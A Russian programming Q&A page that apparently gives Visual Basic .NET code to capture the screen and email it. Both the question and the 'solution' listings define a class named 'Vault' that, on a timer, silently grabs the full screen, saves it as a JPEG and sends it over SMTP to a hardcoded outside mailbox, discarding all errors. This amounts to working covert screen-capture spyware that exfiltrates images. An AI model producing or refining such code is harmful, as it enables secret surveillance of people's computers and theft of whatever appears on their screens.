Снимок экрана - Отправка скриншота на почту - Visual Basic .NET
Формулировка задачи:
Листинг программы
- Imports System.Net.Mail
- Public Class Vault
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Timer1.Start()
- End Sub
- #Region "screenshot"
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Try
- Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
- g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
- screenGrab.Save("C:\xxx.jpeg")
- Dim SmtpServer As New SmtpClient
- SmtpServer.EnableSsl = True
- Dim mail As New MailMessage
- SmtpServer.Credentials = New Net.NetworkCredential("removed@mail.ru", "xxxxxxx")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- mail = New MailMessage
- mail.From = New MailAddress("removed@mail.ru")
- mail.To.Add("removed@mail.ru")
- mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
- mail.Body = "Pics"
- Dim attachment As System.Net.Mail.Attachment
- attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
- mail.Attachments.Add(attachment)
- SmtpServer.Send(mail)
- Catch ex As Exception
- End Try
- End Sub
- #End Region
- End Class
Решение задачи: «Снимок экрана - Отправка скриншота на почту»
textual
Листинг программы
- Imports System.Net.Mail
- Public Class Vault
- Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
- Dim SmtpServer As New SmtpClient
- Dim mail As New MailMessage
- Dim attachment As System.Net.Mail.Attachment
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Timer1.Start()
- End Sub
- #Region "screenshot"
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Try
- g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
- screenGrab.Save("C:\xxx.jpeg")
- SmtpServer.EnableSsl = True
- SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- mail = New MailMessage
- mail.From = New MailAddress("xxxxxxx@gmail.com")
- mail.To.Add("xxxxxxx@gmail.com")
- mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
- mail.Body = "Pics"
- attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
- mail.Attachments.Add(attachment)
- SmtpServer.Send(mail)
- Catch ex As Exception
- End Try
- End Sub
- #End Region
- End Class
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д